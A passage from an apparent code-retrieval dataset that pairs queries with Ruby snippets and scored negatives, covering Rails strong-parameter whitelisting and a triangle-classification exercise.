"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Never trust parameters from the scary internet, only allow the white list through.
|
def project_params
params.require(:project).permit(:name, :description, :make_public, :user_key)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] |
[
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
"0.58537364",
"0.5850427",
"0.5850199"
] |
0.0
|
-1
|
Medium Problems 2, Question 6 TriAngles A triangle is classified as follows: right: One angle of the triangle is a right angle (90 degrees) acute: All 3 angles of the triangle are less than 90 degrees obtuse: One angle is greater than 90 degrees. To be a valid triangle, the sum of the angles must be exactly 180 degrees, and all angles must be greater than 0: if either of these conditions is not satisfied, the triangle is invalid. Write a method that takes the 3 angles of a triangle as arguments, and returns a symbol :right, :acute, :obtuse, or :invalid depending on whether the triangle is a right, acute, obtuse, or invalid triangle. You may assume integer valued angles so you don't have to worry about floating point errors. You may also assume that the arguments are specified in degrees.
|
def triangle(a, b, c)
angles = [a, b, c]
# angles.sum = angles.reduce(:+)
return :invalid if angles.sum != 180 || angles.any?(0)
return :right if angles.any?(90)
return :acute if angles.all? { |angle| angle < 90 }
:obtuse
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def triangle(angle1, angle2, angle3)\n angles = [angle1, angle2, angle3]\n return :invalid if angles.sum != 180\n return :invalid if angles.any? {|angle| angle <= 0}\n return :right if angles.any? {|angle| angle == 90}\n return :acute if angles.all? {|angle| angle < 90}\n return :obtuse if angles.any? {|angle| angle > 90}\nend",
"def triangle(angle1, angle2, angle3)\n angles = [angle1, angle2, angle3]\n return :invalid unless angles.sum == 180 && angles.all?(&:positive?)\n\n if angles.include?(90)\n :right\n elsif angles.all? { |angle| angle < 90 }\n :acute\n else\n :obtuse\n end\nend",
"def triangle(a1, a2, a3)\n angles = [a1, a2, a3]\n\n return :invalid if angles.sum != 180 || angles.include?(0)\n return :right if angles.include?(90)\n return :acute if angles.max < 90\n return :obtuse if angles.max > 90\nend",
"def triangle(angle_1, angle_2, angle_3)\n angles = [angle_1, angle_2, angle_3]\n\n case \n when angles.sum != 180 || angles.include?(0)\n :invalid\n when angles.any?(90)\n :right\n when angles.all? { |angle| angle < 90 }\n :acute\n else\n :obtuse\n end\nend",
"def triangle(angle1, angle2, angle3)\n angles = [angle1, angle2, angle3]\n \n case \n when angles.reduce(:+) != 180 || angles.include?(0)\n :invalid\n when angles.count(90) == 1\n :right\n when angles.count {|an| an < 90} == 3\n :acute\n when angle1 > 90 || angle2 > 90 || angle3 > 90 \n :obtuse\n end\nend",
"def triangle(angle1, angle2, angle3)\n angles = [angle1, angle2, angle3]\n\n case\n when angles.reduce(:+) != 180, angles.include?(0)\n :invalid\n when angles.include?(90)\n :right\n when angles.all? { |angle| angle < 90 }\n :acute\n else\n :obtuse\n end\nend",
"def triangle(a, b, c)\n angles = [a, b, c]\n return :invalid unless angles.sum == 180 && angles.none?(&:zero?) # no 0s and sum to 180\n return :right if angles.any? { |x| x == 90 }\n return :obtuse if angles.any? { |x| x > 90 }\n :acute\nend",
"def triangle(angle_1, angle_2, angle_3)\n angles = [angle_1, angle_2, angle_3]\n return :invalid if angles.include?(0) || angles.sum != 180\n \n if angles.include?(90) then :right\n elsif angles.select {|angle| angle > 90}.size > 0 then :obtuse\n else :acute\n end\n\nend",
"def triangle(angle_1, angle_2, angle_3)\n angles = [angle_1, angle_2, angle_3]\n case\n when angles.inject(:+) != 180 || angles.include?(0)\n :invalid\n when angles.include?(90)\n :right\n when angles.any? { |angle| angle > 90}\n :obtuse\n when angles.all? { |angle| angle < 90 }\n :acute\n end\nend",
"def triangle(first, second, third)\n angles = [first, second, third]\n return :invalid unless angles.sum == 180 && angles.none?(0)\n\n case\n when angles.any?(90) then :right\n when angles.all? { |angle| angle < 90 } then :acute\n when angles.one? { |angle| angle > 90 } then :obtuse\n else :invalid\n end\nend",
"def triangle(angle1, angle2, angle3)\n angles = [angle1, angle2, angle3]\n return :invalid unless is_triangle?(angles)\n\n case\n when angles.any? { |a| a == 90 }\n :right\n when angles.all? { |a| a < 90 }\n :acute\n else\n :obtuse\n end\nend",
"def triangle(angle1, angle2, angle3)\n angles = [angle1, angle2, angle3]\n return :invalid if angles.sum != 180 || angles.min.zero?\n case angles.max\n when 90 then :right\n when 0...90 then :acute\n else :obtuse\n end\nend",
"def triangle(angle1, angle2, angle3)\n sides = [angle1, angle2, angle3]\n return :invalid if invalid_triangle? [angle1, angle2, angle3]\n return :acute if acute? sides\n return :obtuse if obtuse? sides\n return :right if right? sides\nend",
"def triangle(angle1, angle2, angle3)\n angles = [angle1, angle2, angle3]\n case\n when angles.inject(:+) != 180 then :invalid\n when angles.any? { |angle| angle <= 0 } then :invalid\n when angles.any? { |angle| angle > 90 } then :obtuse\n when angles.any? { |angle| angle == 90 } then :right\n else :acute\n end\nend",
"def triangle(a, b, c)\n angles = [a, b, c]\n sum = angles.reduce(:+)\n case\n when sum != 180 || angles.any? { |ang| ang <= 0 }\n :invalid\n when angles.any? { |ang| ang == 90 }\n :right\n when angles.any? { |ang| ang > 90 }\n :obtuse\n when angles.all? { |ang| ang < 90 }\n :acute\n end\nend",
"def triangle(*angles)\n return :invalid if angles.any?(0) || angles.sum != 180\n\n return :right if angles.include?(90)\n return :obtuse if angles.sort.last > 90\n :acute\nend",
"def triangle(a, b, c)\n angles = [a, b, c]\n case\n when angles.any? { |x| x <= 0 } || angles.sum != 180 then :invalid\n when angles.any? { |x| x == 90 } then :right\n when angles.all? { |x| x < 90 } then :acute\n when angles.any? { |x| x > 90 } then :obtuse\n end\nend",
"def triangle(*angles)\n return :invalid if angles.reduce(:+) != 180 || angles.include?(0)\n return :right if angles.include?(90)\n return :obtuse if angles.max > 90\n :acute\nend",
"def triangle(angle1, angle2, angle3)\n angles = [angle1, angle2, angle3]\n largest_angle = angles.max\n\n case\n when angles.sum != 180, angles.include?(0)\n :invalid\n when largest_angle > 90\n :obtuse\n when largest_angle == 90\n :right\n else\n :acute\n end\nend",
"def triangle(num1, num2, num3)\n if (num1 + num2 + num3) != 180\n return :invalid \n elsif num1 == 0 || num2 == 0 || num3 == 0 \n return :invalid\n elsif num1 > 90 || num2 > 90 || num3 > 90\n return :obtuse \n elsif num1 == 90 || num2 == 90 || num3 == 90\n return :right \n else \n :acute\n end\nend",
"def triangle(a, b, c)\n angles = [a, b, c]\n\n case\n when angles.sum != 180 || angles.min <= 0\n :invalid\n when angles.max == 90\n :right\n when angles.max > 90\n :obtuse\n else\n :acute\n end\nend",
"def tri_angle(ang1, ang2, ang3)\n angles = [ang1, ang2, ang3]\n return :invalid unless valid_angles?(angles)\n return :right if angles.include?(90)\n return :acute if angles.all? { |ang| ang < 90 }\n return :obtuse\nend",
"def triangle(ang1, ang2, ang3)\n ary = [ang1, ang2, ang3].sort\n return :invalid if ary.sum != 180 || ary.include?(0)\n if ary[-1] < 90\n :acute\n elsif ary[-1] == 90\n :right\n else\n :obtuse\n end\nend",
"def triangle(side1, side2, side3)\n arr = [side1, side2, side3]\n if arr.sum != 180 || arr.any?(0)\n :invalid\n elsif arr.any?(90)\n :right\n elsif arr.any? { |n| n > 90 }\n :obtuse\n else\n :acute\n end\nend",
"def valid_triangle(deg1, deg2, deg3)\n return :invalid if deg1 + deg2 + deg3 != 180\n return :invalid if deg1 <= 0 || deg2 <= 0 || deg3 <= 0\n :valid\nend",
"def is_valid_triangle(angle1, angle2, angle3)\n angles = [angle1, angle2, angle3]\n if angles.reduce(:+) == 180 && angle1 != 0 && angle2 != 0 && angle3 != 0\n true\n else\n false\n end\nend",
"def triangle(a, b, c)\n sides = [a, b, c]\n \n return :invalid if sides.include?(0) || sides.max >= sides.min(2).sum\n return :equilateral if sides.max == sides.min\n return :isosceles if sides.tally.value?(2)\n :scalene\nend",
"def triangle(len1, len2, len3)\n lengths = [len1, len2, len3].sort\n return :invalid unless valid_triangle?(lengths)\n return :equilateral if lengths.all?(lengths[0])\n return :scalene if lengths.uniq == lengths\n return :isosceles\nend",
"def triangle(a, b, c)\n if numbers_below_possible(a, b, c)\n raise TriangleError, \"One of the sides are 0 or negative (below allowed)\"\n end\n\n if triangle_not_possible(a, b, c)\n raise TriangleError, \"Triangle not possible with values passed\"\n end\n\n if a == b && a == c\n return :equilateral\n end\n\n if a == b || a == c || b == c\n return :isosceles\n end\n\n :scalene\nend",
"def valid_triangle?(angle1, angle2, angle3)\n sides = [angle1, angle2, angle3]\n\n return true if sides.reduce(:+) == 180 && sides.all? { | num| num > 0}\n false\nend",
"def triangle(x, y, z)\n sides = [x, y, z]\n largest_side = sides.max\n\n # binding.pry\n case\n when sides.inject(:+) != 180, sides.include?(0)\n puts :invalid\n when sides.inject(:+) == 180 && sides.include?(90)\n puts :right\n when sides.inject(:+) == 180 && largest_side > 90\n puts :obtuse\n else \n puts :acute\n end\nend",
"def triangle(side1, side2, side3)\n if side1 + side2 > side3 && side2 + side3 > side1 && side1 + side3 > side2\n if side1 == side2 && side2 == side3\n return :equilateral\n elsif side1 == side2 || side2 == side3 || side1 == side3\n return :isosceles\n else\n return :scalene\n end\n else\n return :invalid\n end\nend",
"def triangle(side_1, side_2, side_3)\n ordered_array = [side_1, side_2, side_3].sort\n if !ordered_array.all? { |side| side > 0 }\n return :invalid\n end\n if (ordered_array[0] + ordered_array[1]) <= ordered_array[2]\n return :invalid\n end\n if (side_1 == side_2) && (side_2 == side_3)\n :equilateral\n elsif (side_1 == side_2) || (side_1 == side_3) || (side_2 == side_3)\n :isosceles\n else\n :scalene\n end\nend",
"def triangle(a,b,c)\n raise TriangleError unless is_valid_triangle?(a,b,c)\n h = [a]\n h << b unless h.include?(b)\n h << c unless h.include?(c)\n return :equilateral if h.length == 1\n return :isosceles if h.length == 2\n :scalene\nend",
"def triangle(a, b, c)\n return :invalid if [a, b, c].any?(&:zero?) # if any length is 0\n return :invalid unless [a, b, c].sort[0..1].sum > [a, b, c].max # sum of smaller > largest\n return :equilateral if a == b && b == c # if all sides are the same length\n return :isosceles if [a, b, c].uniq.size == 2 # if one length is repeated 2x\n :scalene # all other valid triangles\nend",
"def triangle(s1, s2, s3)\n sides = [s1, s2, s3]\n return :invalid if sides.any?(0) || sides.max > sides.reduce(:+) - sides.max\n type_of_triangle(sides)\nend",
"def triangle(a, b, c)\n\t\n\tcheckValidity(a,b,c)\n\t\n\tif (equilateral?(a,b,c))\n\t\treturn :equilateral\n\tend\n\tif (isosceles?(a,b,c))\n\t\treturn :isosceles\n\tend\n\t:scalene\nend",
"def triangle(a, b, c)\n if a==0||b==0||c==0\n\traise TriangleError, \"one of the sides equals zero\"\n end\n if (a+b<=c)||(a+c<=b)||(b+c<=a)\n\traise TriangleError, \"2 any sides must be greater then 1\"\n end\n if a<0||b<0||c<0\n\traise TriangleError, \"negative sides\"\n end\n if (a==b) && (a==c) && (b==c)\n :equilateral\n\telsif (a==b)||(a==c)||(b==c)\n :isosceles\n\telse \n :scalene\nend\n\nend",
"def valid_triangle?(a, b, c)\n if (a + b > c) && (a + c > b) && (b + c) > a\n\ttrue\n else\n\tfalse\n end\n\n\n # arr = [a, b, c]\n # largest_side = a\n # index = 0\n # for i in arr\n # \tif i >= largest_side\n # \t\tlargest_side = i\n # \t\tindex_of = arr.index(i)\n # \tend\n # end\n # arr.delete_at(index_of)\n # puts arr\n # angle = (arr[0]**2 + arr[1]**2 - largest_side**2).to_f / (2*arr[0]*arr[1])\n # if largest_side**2 == (arr[0])**2 + (arr[1])**2 - 2*arr[0]*arr[1]*angle\n # \ttrue\n # else\n # \tfalse\n # end\n\n\n\n # if (a**2 == b**2 + c**2) || (b**2 == c**2 + a**2 ) || (c**2 == b**2 + a**2)\n # \ttrue\n # else\n # \tfalse\n # end\n\nend",
"def triangle(n1, n2, n3)\n sides = [n1, n2, n3].sort\n case\n when sides.any?{|side| side <= 0 }, sides[0..1].sum <= sides.last\n :invalid\n when sides.uniq.size == 1\n :equilateral\n when sides.uniq.size == 2\n :isosceles\n else\n :scalene\n end\nend",
"def triangle(a, b, c)\n sorted_triangle_sizes = [a, b, c].sort\n return :invalid if sorted_triangle_sizes.include?(0) || sorted_triangle_sizes[0] + sorted_triangle_sizes[1] < sorted_triangle_sizes[2]\n\n return :equilateral if a == b && a == c\n return :isosceles if a == b && a != c\n return :scalene\nend",
"def triangle(side1, side2, side3)\n arr = [side1, side2, side3].sort\n return :invalid if arr[0] + arr[1] <= arr[2]\n return :equilateral if arr[0] == arr[1] && arr[1] == arr[2]\n return :isosceles if arr.uniq.size == 2\n return :scalene if arr.uniq.size == 3\nend",
"def triangle(s1, s2, s3)\n sides = [s1, s2, s3]\n longest_side = sides.max\n\n case\n when largest_side > sides.reduce(:+) - largest_side, sides.include?(0)\n :invalid\n when s1 == s2 && s2 == s3\n :equilateral\n when s1 == s2 || s1 == s3 || s2 == s3\n :issoceles\n else\n :scalene\n end\nend",
"def triangle(a, b, c)\n #\n # My first solution\n #\n # # Test that the triangle is valid\n # # No side can be <= 0\n # raise TriangleError if a <= 0 || b <= 0 || c <= 0\n # # Sum of any two sides must be > third side\n # raise TriangleError if a >= b+c || b >= a+c || c >= a+b\n\n # return :equilateral if a == b && b == c\n # return :isosceles if a == b || b == c || a == c\n # return :scalene\n #\n\n #\n # The Stack Overflow assisted version\n #\n\n # Sort the triangle sides in ascending order such that a is the smallest\n a, b, c = sides = [a, b, c].sort\n\n # If a <= 0\n raise TriangleError if a <= 0 || a + b <= c\n # Slightly easier to read version:\n # raise TriangleError unless a > 0 || a + b > c\n\n # Find out how many unique lengths there are. If 1, return :equilateral; if\n # 2, return :isoceles; if 3, return :scalene. Note the clever usage of the\n # negative indexing into the array to directly map the number of unique sides\n # to the type of triangle without needing to pad the array\n [:scalene, :isosceles, :equilateral][-sides.uniq.size]\nend",
"def valid_triangle?(angles)\n return false if angles.any?(&:zero?)\n\n angles.sum == 180\nend",
"def triangle(a, b, c)\n sides = a, b, c\n case\n when sides.any? { |side| side.zero? }\n :invalid\n when sides.any? { |side| sides.reduce(:+) - side < side }\n :invalid\n when sides.all? { |side| side == sides.first }\n :equilateral\n when sides == sides.uniq\n :scalene\n else\n :isosceles\n end\nend",
"def triangle(a, b, c)\n #sort arguments by length\n triangle_array = [a, b, c].sort\n\n #initialize variables to sorted sides\n x = triangle_array[0]\n y = triangle_array[1]\n z = triangle_array[2]\n \n # rule out invalid triangles\n if x + y <= z || (x*y*z) == 0\n return :invalid\n end\n\n if x == y && x == z\n :equilateral\n elsif x == y || x == z || y == z\n :isosceles\n else\n :scalene\n end\nend",
"def triangle(a, b, c)\r\n lengths = [a,b,c].sort\r\n return :invalid if lengths.any? { |side| side == 0 } || lengths[0..1].sum <= lengths.max\r\n if lengths.each_cons(2).any? { |pair| pair[0] == pair [1] }\r\n lengths.uniq.size == 1 ? :equilateral : :isosceles\r\n else\r\n :scalene\r\n end\r\nend",
"def triangle(num1, num2, num3)\n sides = [num1, num2, num3]\n\n sides.sort!\n\n return :invalid if sides[0..1].sum <= sides.last\n\n\n if sides.uniq.size == 1\n :equilateral\n elsif sides.uniq.size == 2\n :isosceles\n elsif sides.uniq.size == 3\n :scalene\n end\nend",
"def triangle(a, b, c)\n sides = [a, b, c]\n\n # https://stackoverflow.com/a/11361502\n raise TriangleError if sides.min <= 0\n\n # my original answer\n #sides.each do |item|\n # if item <= 0\n # raise TriangleError\n # end\n #end\n\n # https://stackoverflow.com/a/11361502\n x, y, z = sides.sort\n raise TriangleError if x + y <= z\n\n # my original answer\n #if a + b <= c or b + c <= a or c + a <= b\n # raise TriangleError\n #end\n\n # https://stackoverflow.com/questions/4742692/a-more-elegant-solution-to-ruby-koans-triangle-rb\n case sides.uniq.size\n when 1 then :equilateral\n when 2 then :isosceles\n else :scalene\n end\n\n # my original answer\n #if a == b and b == c\n # :equilateral\n #elsif a == b or b == c or c == a\n # :isosceles\n #else\n # :scalene\n #end\nend",
"def triangle(side1, side2, side3)\n sides = [side1, side2, side3].sort\n\n if sides.count(0) > 0 || sides[0] + sides[1] <= sides[2]\n :invalid\n elsif sides.uniq.size == 1\n :equilateral\n elsif sides.uniq.size == 2\n :isosceles\n elsif sides.uniq.size == 3\n :scalene\n end\nend",
